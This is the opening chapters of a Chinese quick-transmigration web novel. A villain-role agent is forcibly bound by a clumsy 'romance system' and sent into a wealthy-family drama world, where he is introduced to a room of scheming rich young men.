《漂亮反派,不谈恋爱》
1. 拜金男友1
第一章
“救命……!救救我!!!”
恋爱系统886一进入编号6117号任务世界,就听见撕心裂肺的叫喊声。
铁灰色的天幕下,一轮血月渐渐升起,最后一丝光线坠入黑暗。象征着不详的渡鸦停栖在重重树影中,猩红眼瞳冷冰冰地俯瞰地面上四下逃散的人群。
人群中有男有女,有老有少,穿着不一,拿着各式各样古怪的武器,神情惊骇恐惧。
他们的目光紧紧盯着一个方向。
逃散中,不断有人倒下,急剧收缩的瞳孔里还映着远处古堡的影子。
半空中,没人能看见的886晃了晃,淡蓝色的光线自透明的球型外观里流泻出来,掺杂着无穷无尽的数据流,流光溢彩。
整颗光球悬在半空,仿佛刚得到身体,夸张地扭来扭去。
886欣赏了一会自己,十分人性化地“呼”了一声。
找宿主去!
886是新生系统,诞生之初主神就下达了分发给它的任务。
它需要找到一名隶属于反派部门的任务者,雪枕,和他一起在恋爱部门里快乐工作!
886的统生口号是:谈甜甜的恋爱!做最出色的系统!
据主神说,这位任务者十分优秀,休假时间还在任务世界里扮演反派NPC。
充满干劲的886俯冲落地,一路左突右拐,绕过逃散的人群,终于来到了一片开阔的空地。
前面是悬崖峭壁,深不可测,一座华丽的城堡却突兀地矗立在此处,顶上装饰着尖锐的十字架,阴森森地被黑暗笼罩。
任务者不难找,城堡大门就洞开着。
空荡荡的大厅里,一把椅子镶嵌在中央,丛生的荆棘自黑暗中蔓延,一路攀爬上椅背,顶端生出一朵娇艳欲滴的蔷薇,徐徐开放。
此刻,正有一只素白的手漫不经心地点在花瓣上。
花瓣是血一般浓郁深重的红色,愈发衬得那只手纤细雪白,仿佛是软玉精心雕琢而成。
往上看,是一截细细的腕子,指尖泛着粉,淡紫色血管清晰可见。
黑色礼服绣着暗金色花纹,蕾丝花边一层层堆叠,华丽又繁复,服贴地勾勒出清瘦单薄的身躯。
是个少年。
约莫十七八岁,模样纯稚秀美。半长的柔软黑发搭在肩上,陷进精致的颈窝和锁骨。
他的皮肤非常白,没见过天日一般,白到了几乎透明的程度。脸颊还有些婴儿肥,泛着淡淡的粉。
眉睫深黑,在雪白皮肤上格外显眼。薄而浅的眼睑垂着,睫毛很长,几缕碎发耷拉下来,看上去很懒散。
他正摆弄着开在身前的蔷薇,指尖微动,有一搭没一搭,百无聊赖似的,和这座幽深古堡格格不入。
尤其是在他面前还有一个高大的年轻男人半跪着,一只手撑着地,衣服被深色血渍濡湿,颈侧青筋暴起。
纵然形容狼狈,也不难看出男人生得颇为英俊。
此刻,负了伤的年轻男人紧紧皱着眉头,恶狠狠地瞪着椅子上好整以暇的漂亮少年,对比格外鲜明。
886:!
悬浮在半空的淡蓝色光球急不可耐地冲过去。
宿主,它来了!
与此同时,椅子上安安静静坐着的少年抬起眼,目光直直地看向光球的方向。
抬起眼的时候,才能让人看见他红宝石般的瞳色,是和渡鸦一般的猩红。
幽暗的光线下,红瞳格外纯净,硬生生让纯美的五官笼上一层阴影。
是个小吸血鬼。
“咦?”
寂静中,椅子上坐着的吸血鬼少年微微蹙眉,疑惑地哼了一声。
他的唇瓣微张,露出一点小小的尖牙。
声线也很好听!
886感觉自己瞬间冒出了粉色泡泡,整个统仿佛坠入云端,数据流都断断续续,有些宕机了。
它的新宿主长得这么好看,一定能圆满完成任务!
恋爱系统886正要扑到宿主身上,觉得自己仿佛已经看见了升职加薪、万统艳羡的美好未来时,忽然闪过一阵白光……
停滞在半空中的蓝色光球忽然一个趑趄,顺着不知何时加上来的力道,十分人性化地往前一滚。
886:怎么回事!
一道虚虚的白光漂浮着,恍若银河飘带,另一端稳稳悬在端坐于椅子上的少年指尖。
新手系统瑟瑟发抖,意识到刚才的白光不是自己的幻觉。
还没自我介绍就被发现了!
“系统编号886……”
“诶呀!”
雪枕微微眯着眼,准确无误地念出闯入者的名字。
他一摆手,战战兢兢的淡蓝色光球就滴溜溜地滚到他面前。
“这是我的任务世界,”雪枕瞥了一眼摔得七荤八素的陌生系统:“为什么你能进来?”
他松开手,白光没入指尖,好整以暇地抬起眼。
他的戏份还没结束,主神空间怎么就派系统过来了?
另一边,886晕乎乎地“站”了起来,还拍了拍身上不存在的灰。
从光球的姿势看,应该是一个站起来的动作,但它的外观是个圆滚滚的球体,这样的动作看起来有些搞笑。
“我……我是系统886……”身残志坚的886晃晃身子,小心翼翼地漂浮到雪枕面前。
新手系统的外观似乎仔细调试过,看上去比别的系统圆胖不少,呆头呆脑的。
雪枕:“嗯。”
他伸出手,不经意似的弹了一下圆滚滚的光球,果真又听见“诶呀”一声。
新出厂的系统是默认的电子音,一下子拖长了,听起来有些魔性。
好玩。
雪枕唇瓣微微上翘,殷红唇珠更明显了。
模样漂亮的吸血鬼少年歪了歪脑袋。
“快说。”
打扮成吸血鬼的任务者丝毫没有恶作剧的自觉,反而催促晕乎乎的系统:“主神给你派了什么任务?”
一来就给新宿主留下不好的印象,886懊恼地摇摇头。
原本想好的热烈欢迎没了,886老老实实地交代:“十个星历日前,我诞生了。接收到主神空间的任务,要求我前往6117号任务世界,和任务者雪枕绑定,调离反派部门。”
纵然在任务者面前跌了份,886说着说着也不自觉扑到人身上,拿圆脑袋蹭雪枕。
“和886绑定吧……”886一边传输数据,一边耍赖:“886是很负责的系统!虽然……虽然没有经验,但886一定会好好干活的!”
“如果宿主不愿意……”淡蓝色光球耷拉下去,电子音可怜巴巴的:“886就要被销毁掉了……”
雪枕挑了挑眉头。
主神空间派出的任务者数量有限,任务世界却每一秒都在增加,系统也应运而生。
系统类型的划分很细,每
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个任务者可以根据自己的任务世界挑选。系统之间也有业绩标准,长时间达不到的,会被投放主神世界回炉重造。
回炉重造就是清空数据,对于系统来说,就是最严重的惩罚了。
雪枕这次进入的是C级世界,并没有绑定系统。
就886低能的表现来看,并不是在任务者中受欢迎的那一类。
怪不得出生十天都没有和任务者绑定。
看着在自己膝盖上扭来扭去哼哼唧唧的光球,雪枕思考了一下:“任务数据有吗?”
“有!”886一个弹跳,迅速把数据传输给雪枕。
淡蓝色的数据流投射到半空中,偶尔掠过几颗金色流星。
雪枕沉吟片刻。
886传来的数据并非伪造。
尽管他不知道为什么忽然要把他调走,但主神空间的数据做不得假。
这时,一只体型小巧的渡鸦从外面飞进来,落在雪枕肩头上。
雪枕摸了摸渡鸦毛绒绒的脑袋。
渡鸦忽然口吐人言,念出来一串886听不懂的话。
雪枕却颔首。
“好吧,”雪枕看着拧来拧去的光球:“我的戏份结束了。”
他在反派部门工作,戏份说多不多说少不少。去掉被龙傲天打脸下线的部分,其实待遇很不错。
这个世界就是,雪枕需要在恐怖逃生游戏中扮演吸血鬼NPC。
恐吓玩家,cos怪物,等小世界的主角,龙傲天出场的时候下线。
他面前受伤的男人就是这个世界的龙傲天。
886来之前,雪枕已经完成了为难龙傲天的任务。
按照常理,前期弱小的龙傲天会在反派的为难中发掘自己的潜力,逐渐强大,然后反杀反派。
雪枕已经经历了无数个这样的任务世界。
他很喜欢这份工作。
雪枕脾气不好,要让他扮演龙傲天,前期受那么多折磨,早撂挑子了。
要他看来,当反派才好呢,不用工作到世界毁灭,登出的时候还可以屏蔽痛感。
不过,886要他调去哪个部门?
要是太卷的部门,他可不乐意。
雪枕微微拧起眉头。
“太好了!”
886高兴地转了个圈,不存在的尾巴竖了起来:“宿主,我们现在就签约,等会就可以进入任务世界啦!”
雪枕顿了一下:“等等。”
“我不是答应的意思,我是问你调去哪里……”
886的效率奇高,在雪枕没反应过来的时候,迅速绑定宿主。
雪枕:?
他瞪圆眼睛。
无数数据流从光球体内涌出,缠绕住有些错愕的漂亮少年,星轨一般兀自运行着。
绑定生效。
886激动地宣布:“宿主,我们去下一个世界啦!”
地上奄奄一息的龙傲天逐渐清明,费力抬起头,有些涣散的瞳孔却映出未曾料到的场景。
方才好整以暇地指挥渡鸦追踪他们的吸血鬼NPC不动了,眼神错愕地盯住半空,还念叨了一句什么。
然后,少年的身影慢慢消散在原地。
眼见宿主到手,886自我介绍:“宿主,886是恋爱系统!”
“宿主是恋爱部门第一个任务者,要去和龙傲天谈甜甜的恋爱啦!”
雪枕:!
886嘿嘿傻笑。
2. 拜金男友2
“叮……”
系统提示音响起,不知道在第几次之后,终于被人按下接听键。
雪枕面无表情。
“喂?!”电话那边是个年轻男人,语气很冲:“唐雪枕!你看见消息没有?!”
“下午就让你来了,人去哪了?”
对面态度不好,雪枕的脸色更差了。
886在半空中飘来飘去,紧张地看着新鲜出炉的宿主。
约莫是光球的面部,十分人性化地浮现出像素眼睛,一下眯成细细一条,一下又瞪大。
雪枕冷着脸,用积攒下的任务经验应对眼下。
“嗯,”柔和清冽的嗓音传到电话那头,让对方一怔:“看见了。”
电话那头的年轻男人一顿。
雪枕的音色很好听,又带着点懒怠的鼻音。
听起来莫名其妙有些软。
没料到似的,男人顿了顿,再开口的时候语气好了点:“那还不快来?”
雪枕没说话,男人又嘱咐他:“打扮得好看一点,让周妈给你拾掇一下。”
“今晚齐大少爷也会来,别给唐家丢脸。”
说完,电话就挂了。
忙音嘟了一下,雪枕放下手机。
他转头盯着只有他能看见的系统。
“恋爱系统?”
“第一个任务者?”
雪枕挑眉:“强买强卖?”
886心虚地靠近宿主。
雪枕冷哼一声,给调任后的第一个世界下评价。
“这比我当反派的时候还憋屈。”
上来就是指使他。
他在反派部门的时候可不会这样,什么类型的龙傲天主角前期都矮他一头,给他端茶倒水。
至于后期……反派早就下线了。
886垂头丧气。
小世界千千万,每个世界都有各种各样的漏洞,难以按轨迹运行。这就诞生了主神世界和快穿局,来自宇宙各个星球的任务者争相进入任务世界。
快穿局下划分很多部门,每个部门都有不同的任务。
有龙傲天部门,在每个世界当主角。也有配角逆袭部门,帮助配角逆天改命,圆梦美好人生。如此种种,不可计数。
其中最受欢迎的就是龙傲天部门,任务者能在各个世界过上升职加薪,攀登顶峰的生活。
反派部门最不受欢迎,一来不是正面角色,二来总要被主角打脸下线。
因此886信心满满。
淡蓝色的光球悬在半空中,心虚地拧来拧去。
为什么有任务者只想当早早下线的反派,不想和龙傲天谈恋爱呢?
886也不懂,但它手快直接绑定了。
纠结中,886把自己拧成了一根淡蓝色的麻花。
发现拧不过来了,光球“诶呀”一声,反方向转了几圈。
886滴溜溜地转了转眼睛,发现宿主没有在看它才松了口气。
886(><):“宿主……”
淡蓝色光球人性化地挤出哭哭表情,掉出像素眼泪。
雪枕觑着鬼鬼祟祟的886:“你可以再表演一下那个吗?”
886⊙▽⊙:“什么?”
在886不解的目光中,雪枕伸出手,狠狠给了886一个脑瓜崩。
光球被弹出老远,duang的一声砸到墙角:“诶呀……”
雪枕冷脸:“就是这个。”
***
“哗啦。”
水龙头开着,浴室白晃晃的灯光洒下来,清晰地照出镜子里单薄的人影。
才洗了脸,发梢有些湿润,被主人胡乱拢到耳后,露出白生生的脸颊肉。
水珠从额头滴下,顺着精致的眼窝,流过秀气高挺的鼻梁,没入一点殷红的唇珠。
睫毛也湿润了,长而卷翘,乌瞳黑得纯净,水盈盈的。
像被打湿羽毛的鸟雀,整个人都湿漉漉的。
雪枕垂着眼睑。
指腹因为冷水刺激变得通红,淡紫色的血管也更加明显。
这是他自己的身体。
跟其他任务者不一样,雪枕进入任务世界的时候更习惯用自己的身体。
但根据不同的世界背景,外貌是有细微调整的。
比如在上一个恐怖逃生世界,雪枕扮演吸血鬼NPC,瞳色就变成红色,也长出了森白的小尖牙。
到了现代世界,就完完全全恢复本来的模样了。
“有点不习惯呢……”
雪枕嘟囔了一句,拿过毛巾胡乱擦了擦头发。
颐指气使的反派当多了,乍然变成小可怜,还要和龙傲天谈恋爱。
倒霉透了。
被恋爱系统886绑架进入的第一个世界叫【真假少爷的拜金男友】。
小世界的主角是一个叫齐鹜的龙傲天,他本来是齐家大少爷,三岁时候走丢,几经辗转,在恤孤院里长大,养成了坚韧不拔的品性。
故事线里,龙傲天在童年时期吃了很多苦,凭借着过人的天赋和刻苦努力考上A市最好的大学,还是状元。
大学时期,龙傲天崭露头角,在新锐行业投资押注,很快积累了资本,在商界立足。
因为生意,龙傲天和风头无两的齐家“大少爷”齐绥川针锋相对,竞争无比激烈。
然而,齐鹜才是真少爷。
接下来就是俗套的打脸认亲剧情,龙傲天被亲生父母找回家,事业更上一层楼,人人艳羡。
而雪枕……是齐绥川的绯闻男友。
雪枕是唐家继子,跟着美貌母亲一起进了唐家,算是唐家小少爷,上面有个哥哥唐詹,也就是给他打电话催他去的男人。
雪枕在龙傲天没被认回家之前,十分喜欢为难他,各种给龙傲天使绊子。
真少爷回家,假少爷自然要离开。雪枕作为齐绥川的男朋友,也被打包一起扔了出去。
他现在绑定的还是恋爱系统。
也就是说,他要拿着反派的剧本,和龙傲天谈恋爱。
雪枕无语。
垮起个小猫批脸。
唯一庆幸的是,剧情还没有开始,他现在还不是齐大少爷的绯闻男友。
那还是很麻烦。
雪枕拧起眉头。
他生得秀美,眼睛很圆,偏偏眼尾上翘,是标准的猫儿眼,看谁都带着一股娇纵气。
此刻拧眉抿唇,很明显地流露出不高兴的情绪。
要是有尾巴,早就气冲冲地甩来甩去,给领地范围内所有活物糊一脸毛。
886察觉到宿主的情绪,晃悠悠浮到雪枕面前,担心道:“宿主……”
然后就被坏脾气的宿主弹飞了。
光球软塌塌地贴在墙角,发出毫无诚意的抽泣声。
雪枕冷脸。
“快起来,”886心心念念的新宿主表现得像个恶霸:“等会去见男二,不许拖后腿。”
不等886结束哼唧,雪枕就走进换衣间。
这间公寓不大,好在功能齐全,甚至还有一个单独的换衣间。
只是里面的衣服实在没什么能穿的出去的。
雪枕翻边了三个柜子,得出这个结论。
这个世界的他十分拜金,品味自然也好不到哪里去。满满当当塞的全是牌子货,上面俗不可耐地坠满大大的logo和亮片,晃得雪枕眼睛疼。
然而距离男人给他打电话已经过去半个多小时,不能再拖延时间。
雪枕只好拧着眉,挑挑拣拣拎出一套衣服。
上衣是白衬衫,拆掉上面过于潮流的金属环之后勉强能看,裤子就是黑色的,不带奇怪的花纹。
总算打扮得像个地球人。
出门之前,雪枕对着镜子理了理头发。
至于男人说的找人拾掇一下……
雪枕决定把他的话当耳旁风。
出了门,已经是傍晚,天擦黑。
雪枕拦了一辆车,对司机报了男人给他的地址。
“去夜宴。”
黑发少年低着头,长长的睫毛垂下来:“麻烦快点。”
中年司机应了一声:“好嘞。”
油门发动的时候,司机透过后视镜看了一眼乘客,意外瞥见小半边雪白的脸。
年纪不大的样子。
看着还在上学呢。
司机思忖着,想到“夜宴”里多多少少流露出来的传闻,忍不住想开口说点什么。
然而下一秒,雪枕就抬起头,精准地和司机对上视线。
瞳色乌黑水润,脸颊还带着些许婴儿肥,长相看着乖巧,却一点表情都没有。
司机到了嘴边的话又咽了下去。
“哈哈,”他打了个马虎:“十来分钟就到了。”
一刻钟后。
雪枕付了钱,下车,对着门口的侍应生报出电话里男人的名字。
“我哥是唐詹,”雪枕抬抬下巴:“他让我过来的。”
他的嗓音轻软,神色骄矜,完全是个坏脾气小少爷,颐指气使。
然而长相又太漂亮了,微微昂着下巴看人的时候,圆眼睛亮得惊人。
侍应生满脸笑容,微微俯身:“好的,请跟我来
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。”
“夜宴”听起来不像是什么正经地方,其实老板品味很不错。
坐落于闹市,闹中取静,装修也是偏中式。檐角下挂着铜质风铃,风一吹就发出清脆响声。
人工开凿的小河横贯整个建筑,引来山泉水,几尾锦鲤在清澈见底的河里游动,惊起一阵波澜。
里面的装修更精巧,用长廊和绿植分隔出几个非常宽敞的大厅,还有独立的小包间。
侍应生到了拐角就离开了。
雪枕给唐詹发了消息,要他出来接自己。
发完消息,他就转过身,有一搭没一搭地看着长廊外的景色。
很快,一个穿着酒红色西装的年轻男人走了出来。
男人约莫一米八几,长相不错,可惜脚步有些虚浮,眼底也带着青黑,很明显有些被酒色掏空身体的迹象。
“唐雪枕!”
看着面前人的背影,等了许久的唐詹恼怒地压低声音:“你怎么现在才来?”
“齐大少爷已经走了!”
唐詹气得很。
本来齐绥川什么时候来什么时候走也不是他能决定的,齐大少爷人在这也不一定能见得上。
但今天三催四请了,唐雪枕也跟没事人似的,慢悠悠过来。
想到这个草包继弟,唐詹不着痕迹地拧眉。
他对这个父亲二婚带来的拖油瓶没什么好印象,但他父亲交代了,唐詹也不能多说什么。
只是在心底默默看不上这对母子。
身后传来声音,雪枕回过头。
他扫了扫面皮气得通红的唐詹,慢吞吞开口:“是吗,那好可惜呀……”
唐詹的脸憋得更红。
唐家在A城也算是有头有脸的人家,他更是长子,从小在追捧中长大,哪遇见过这样和他呛声的人。
唐詹当时不干了。
他冷哼一声,伸出手就要抓雪枕的手臂。
然而,在对上那双乌黑的眼睛都时候,唐詹不由自主地一怔。
他的手停在半空,说话也磕巴起来。
“你今天……”唐詹的话在舌尖滚了一个来回:“怎么穿成这样?”
他记得这个便宜弟弟非常喜欢奢侈品,衣品糟糕得很,也就一张脸能看。
今天怎么穿成这样……清纯?
唐詹不由得上下打量雪枕。
合身的白衬衫,扣子系到第二颗,露出深陷的锁骨和修长的脖颈。
半长的黑发服帖地搭在肩上,脸颊白生生的,微微歪着脑袋,睫毛眨着,模样秀气得很。
整个人像一把葱翠的修竹,嫩得能掐出水。
唐雪枕以前有那么漂亮吗?
这个问题从唐詹心底冒出来,又被按下去。
“咳咳,”他清了清嗓子:“算了,人走了也没事。”
唐詹指了指前面的包间:“齐大少爷走了,就带你见见其他人。”
雪枕点头。
唐詹咳了咳:“你今天穿得可以,以后都这样啊,不要每天往自己身上套奇奇怪怪的衣服了。”
“嗯。”
雪枕不着痕迹地躲过唐詹伸过来的手:“我知道。”
唐詹也意识到自己的表现有点奇怪了,沉默了一会。
走进长廊,里面没几个人。地面上铺了深色的厚地毯,隔音效果极好。
唐詹回头叮嘱雪枕:“包间里来的都是圈子里有头有脸的人,你可得注意了。”
“问你什么你就说,”唐詹上下打量雪枕:“他们肯定会喜欢你的,爸爸回去也会奖励你。”
他的话意味不明,“奖励”两个字被他压得很低,听起来像是多了点别的意思。
雪枕:“哦。”
他像是没听懂唐詹的画外音。
唐詹自讨没趣,耸了耸肩膀。
雪枕没理这个没礼貌的便宜哥哥。
只是在唐詹看不见的角度,伸出一根手指,把愤怒的在唐詹后脑勺乱啃的886弹下来。
“宿主!”886把自己甩来甩去:“他这是什么意思呀?你为什么不生气?”
雪枕反问:“为什么要生气?”
886顿在半空。
出生十天接收到的数据不足以支持886回答这个问题,只是下意识觉得这个NPC奇奇怪怪的,整个球讷讷地滚来滚去。
唐詹已经走到包间门口,正要拧开门锁。
这个包间在长廊左手边,顶上灯光柔和,不足以清晰地照亮这一方世界。
“毕竟,”雪枕半张脸隐没在阴影中:“我是人人不待见的炮灰呀。”
3. 拜金男友3
包间空间很大。
暖黄的灯光洒下来,柔和地笼罩着房间里的一切。包间里的装修也很精致,纯黑香木桌,真皮沙发,地上还铺着厚实的深深蓝色地毯,踩上去的声响极其细微。
考虑到客人们对于私密性的要求,夜宴的包间四面都贴满隔音材料,确保不会有隔墙之耳。
非常适合进行一些不方便告知于人的谈话或者交易。
“唐大来了。”
里面坐了四五个年轻男人,年纪在二十五六上下。彼此之间看起来十分熟稔,不知道谈到什么,纷纷笑出来。
穿着打扮都挺考究,肉眼可见的张扬奢侈。用料昂贵的西服衬衫,松松带着块腕表,里面镶嵌的钻石在光线下折射出璀璨的光芒。
桌上开了酒,玻璃罐里的冰块冒出森森冷气。
偶尔碰一下酒杯,深红色的酒液涌出几滴,溅落在厚实的地毯上。
开门的时候,交谈声纷纷停下来。
众人的视线自然而然地望过去。
唐詹是刚出去的,接了通电话,跟他们说要带个人过来。
带人,当然是可以。
可带的是谁,里面又有个门道。
他们这里坐的都是熟人,圈子里的少爷二代,经常聚会,引荐几个人很正常。
但唐詹一没说是谁,二来今天也没有谈正事,意思就很耐人寻味了。
是要进圈子的后辈,还是……
身边的男伴女伴?
怀着好奇,众人一探究竟的想法在门打开的时候达到顶峰。
唐詹后面跟着个少年。
一个漂亮少年。
是漂亮。
包间里传来微不可闻的吸气声。
要说长得好看的,在坐的都见识过。凭他们的身份,前扑后继自荐枕席的也不在少数。
可这人不一样,光是露出来小半张脸,也能看出几分让人挪不开眼的秀美。
少年跟在唐詹后面走进来,看着年纪不大,黑发白肤。
有点懒散,很有些气定神闲,看见他们的时候也只是淡淡扫来一眼。
柔软的黑发服贴地落在肩上,还带着点潮气。皮肤又太白,简直像一堆雪捏出来的。
模样很出众,带着点未脱的青涩。眼珠乌黑莹亮,含着一汪水似的。脸盘小,下巴尖细,只有腮边有点软肉。
气质干净得很,温吞吞的,被看久了,也只是抬了抬眼睫,用那双黑亮的眼睛盯回去。
大概是娇养长大的,有点娇纵气,看着很矜持。
很容易让人联想到蜷缩在角落里的猫,晃着尾巴安静观察人类。
这是唐詹的什么人?
以前怎么没见唐詹带出来过?
酒杯碰撞的清脆声响中,心思活络起来的男人不着痕迹地交换眼神。
“雪枕,”唐詹清嗓,语气竟然也柔和了一些:“过来打声招呼。”
他大手一挥:“这些都是我的老熟人。”
雪枕被他推向正中央。
数道视线聚过来。
打量的、好奇的、晦暗的、通通汇合过来,从头到脚观察他。
一时间气氛十分古怪。
被观察的时候,雪枕的目光也扫了一圈,差不多确定了他们的身份。
反面人物。
跟他扮演过不知道多少次的反派是一样的,如果他是主角,这个时候还需要来一场堂而皇之的下马威。
雪枕这样和886说了。
886没摸着头脑,小心翼翼问:“宿主,为什么呀?”
雪枕瞥了一眼恋爱系统:“跟你说也说不明白。”
反派要做什么事,哪需要逻辑。
“呦。”
倚靠在桌边,穿着细格纹西装的男人率先开口,带着点惊艳:“这位是……?”
他染了头发,铂金色,一股脑地用发胶梳到脑后,露出一张颇为英俊的脸。
只是他眼角微微上扬,又总笑,包间里不甚明亮的光线一照,带着点说不出来的邪气。
看着是个轻佻的人。
也确实是,眼神非常直白地落在雪枕身上,犹如实质。
雪枕不咸不淡地看他一眼。
“我弟弟,唐雪枕。”
唐詹跟他关系似乎不错,快步走过去,砸了一下男人的肩膀:“徐续,前段时间跟你说过的,怎么忘了?”
被他称为徐续的男人也笑:“是吗。”
唐詹的继母带过来的弟弟?
很快其他人作声,纷纷围过来,十分稀奇地打量雪枕。
“多大了?”
“叫什么名字?”
“怎么之前不出来一起玩?”
一个个问句甩出来,一股脑地砸向雪枕。
雪枕不认识他们,也不想回答他们的问题,干脆往后退了一步,抿着唇不说话。
好烦的一群人。
他当反派的时候可没有这样过。
“这是不乐意理我们。”
徐续笑,捏着酒杯踱步过来,不着痕迹地挤开挡在身前的人,自己站过来,十分亲呢地用手臂虚虚环着雪枕的肩膀。
“看看你们把人吓得,”他解围似的:“散开点,闹得跟什么一样。”
唐詹附和 :“对,都傻站着干什么,快坐下。”
他比徐续更不自觉,大剌剌地按着雪枕的肩,被后者巧妙躲开:“怎么也不叫人,这是徐续,徐家药企的二少爷。这是恒阳房产总经理的侄子……”
雪枕:?
唐詹浑然不觉雪枕的嫌弃,挨个给他介绍包间里的人。
众人纷纷落座。
雪枕自己挑了个位置,在沙发一角坐下了。
他有意降低自己的存在感,偏偏这群人不知道吃错了什么药,也跟着他一起挤角落。
雪枕拍拍自己差点被徐续碰到的肩膀和腿,再次和886吐槽。
这里的人也太没眼色了。
886在半空中急得团团转。
“天呐!”
886像被火燎到尾巴似的大叫:“这里的NPC怎么这样?动手动脚!鲜廉寡耻!”
雪枕:“嗯哼?”
“你还会用成语?”他觑着眼,看着只有自己能看见的系统在空中疯狂旋转:“有进步。”
886:“宿主啊啊啊……”
雪枕年纪不大,穿得也像个学生仔。直接把脸别过去,一副很不乐意和他们接触的样子。
明晃晃的嫌弃。
落在包间其他人眼里,就是十分的娇纵气。
唐詹这个便宜弟弟脾气也倒是小,进来就给他们下脸子。
按理说他们是应该生气的。
但雪枕长得又太漂亮,漂亮的人,总是有几分特权的。
徐续也扯着笑。
他注意到雪枕的视线落在酒桌的方向,就问:“想喝酒?”
有人跟腔:“来都来了,喝点呗。”
唐詹皱起眉:“不了吧……”
他们上的酒度数不低,唐雪枕之前也没见他喝过酒,怕不是要一杯倒。
唐詹有些踟蹰。
他看了一眼徐续,有点想说什么,但在目光接触到徐续唇角扯着的笑的时候,还是忍住了。
徐续没理他们,兀自站起来,倒了小半杯,深红色的酒液在晶莹剔透的微微晃荡。
他把酒杯递到雪枕面前。
“来一杯?”
安静坐在沙发上的少年没吭声,拿乌黑的眼睛看他。
徐续唇角笑容不变,稳当地握着酒杯。
他有自信不会被拒绝。
毕竟他不光是家境优越,含着金汤匙出生,能力也出众,很早就接手自家生意。
他也看不上混吃等死的少爷秧子,比如唐詹之流,只是在平时不会表现出来。
在圈子里,总是别人捧着他的。
何况这只是一杯酒。
时间一分一秒过去。
雪枕不说话,开口请酒的徐续也没说话,一时间包间安静地可怕。
徐续晃着酒杯,感受着微凉的酒液轻轻晃动。
他有点不耐烦了。
唐詹的弟弟只是眼睛眨着。
从徐续的角度看,像领地了来了生人,还在小心翼翼观察的猫。
那双眼睛实在太漂亮,水润乌黑,眼底能倒映出他的影子一般,让徐续心底的不耐烦莫名其妙就压了下去。
终于,在唐詹的催促中,唐雪枕开口了,声音清亮亮的。
“我不要喝这个。”
黑发少年很嫌弃似的皱了皱鼻尖,这个小动作让他看起来很可爱:“难喝,我要喝果汁。”
果汁?
这句话让徐续哂笑起来。
在夜宴里要喝这个,果然还是个小孩嘛。
“好吧,”他笑:“是我咄咄逼人了。”
徐续一笑,气氛也舒缓起来。
他把酒杯随手放下。
唐詹也松了口气。
他酒醒了大半,后背也渗出点冷汗。
怪他只想着把这个便宜弟弟介绍出去,忘了吩咐他什么该说什么不该说。
结了善缘是好的,但唐雪枕一来不聪明,二来脾气怪,得罪人就不好了。
但从自己这群“朋友”的反应看……
对便宜弟弟的忍耐度还可以?
“对了,忘了跟你们说,”唐詹解释:“我这个弟弟今年夏天念大学,A大,过了年才满十八,喝不了酒。”
“这样啊。”
徐续点头:“难怪,是我考虑不周了,让他们上几盘水果拼盘和冰饮吧。”
有人应和,出去找侍应生了。
“就当是给你的赔罪。”
徐续扭过头,对雪枕:“念的什么专业,我有长辈在A大当教授,说不定能帮上你的忙。”
他说话也非要凑近,眼角带笑,颇有些含情脉脉。
雪枕靠在沙发上:“金融。”
“这么巧?”徐续也没想到,来了精神:“他就是金融系的教授,你想认识一下吗?”
雪枕摇头。
他微微歪着头,一双眼睛显得格外乌亮:“不想。”
徐续一顿。
这已经是唐雪枕第二次拒绝他了。
“为什么?”徐续以为唐雪枕是刚入学还不了解情况,语速快了一点:“那个是我的舅舅,沈奎邢沈教授,你不认得吗?”
他舅舅可是业内大拿,就算是齐家人见了也要恭恭敬敬喊一声长辈的程度。
“其实,”雪枕看着他,表情竟然很真诚:“我是托关系进的,上的课都听不懂。”
徐
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续:……
唐詹: ……
唐詹有些恼。
唐雪枕怎么什么都往外说?这难道是什么光荣的事吗!
还有他爸也是,花钱把这个草包弟弟塞进学校也就算了,还塞进金融系!
一时间,唐詹不知道该生谁的气,只好打马虎眼。
“哈哈,”他笑,用力拍拍雪枕的肩膀:“不好意思,见笑了。”
“这算什么……”
“没事没事……”
其他人也开始打圆场:“这才念多长时间,听不懂也是正常的。”
徐续笑得勉强:“呵呵……”
唐詹的弟弟未免也太草包了。
脾气怪,也不聪明,不懂人情世故,就剩一张好脸能看。
徐续这样想,顿时失了大半兴趣,坐回自己的位置。
这一打岔,侍应生也端着托盘进来了。
夜宴的侍应生有长相身高要求,以免不合眼缘冲撞贵客。
这个也是,身高约莫有个一米八几,穿着统一订做的工作服,白色上衣黑色裤子。纵然一直低着头,也能看出是个盘靓条顺的帅哥。
两大份水果拼盘,洗净切好的水果还冒着冷气,灯光一照,看起来让人胃口大开。
还有几杯冰饮,调制过,杯口切了一片凤梨,里面流淌的液体像流转星河。
“东西到了。”侍应生端起托盘,对包间里的人点头,默默退出去。
雪枕在众人的目光中挑了一杯冰饮。
冰杯捏在手里凉得很,他索性放在小扶手上,小口吃着水果。
雪枕吃相文雅,也不主动说话,偶尔回答一下其他人无关紧要的问题。
那边,徐续喝了半杯酒,逐渐顺过气。
徐续拿余光瞄着唐雪枕,落在他被润湿的鲜红唇瓣和偶尔露出来的殷红舌尖上。
笨点有什么不好?
又不是招员工,不聪明也就不聪明吧。
“宿主……?”
886在雪中身边飞来飞去。
“你别晃了,”雪枕用手指捏住它:“光污染。”
886不知道光污染是什么,也老老实实安静下来。
“宿主,”它费力接收了一下数据:“龙傲天好像在附近。”
“但数据太不稳定了,”886苦恼道:“为什么,连向主神世界报错也不行?”
雪枕淡定:“这很正常。”
“主角越强,”雪枕和新手系统解释:“代表任务世界越稳定,任务者和系统作为外来者很难干涉。”
“所以,”雪枕话锋一转:“不要寄希望于我一个反派部门出来的扮演和龙傲天恋爱的角色。”
886似懂非懂。
“可是……”886在心底回答宿主:恋爱部门的直属上司到现在也没有给它传输评判任务结果的标准呀……
“听不懂你在说什么。”
雪枕拍拍手:“好了,我要回去了。”
与其在这里呆着浪费时间,还不如回去睡觉。
886QAQ:“?”
886还没反应过来,就看见宿主站起来,直白道:“我要回去了。”
唐詹:“回……嗯?你现在回去?”
他又了喝点酒,跟人聊着,脸涨得通红。
“嗯,”雪枕:“我明天要上课了。”
他开始胡扯:“没有平时分更及不了格,大哥,你也不希望我第一学期就挂科吧?”
大哥?
唐詹反应了一下,才回过味来唐雪枕是在叫他。
这有些稀奇了。
他知道这个便宜弟弟的性格,娇纵浮躁,又被他爸教了些其他东西,向来是不太喜欢自己的。
今天竟然还能捞一句大哥听听?
唐雪枕的音色好听,脆生生的,一句喊下来,让唐詹有点飘飘然。
“那你先回……”唐詹不由道:“我让人送你还是?”
雪枕:“我打车回去。”
“噢噢,”唐詹慢半拍:“那也成。”
雪枕泰然自若地走出包间。
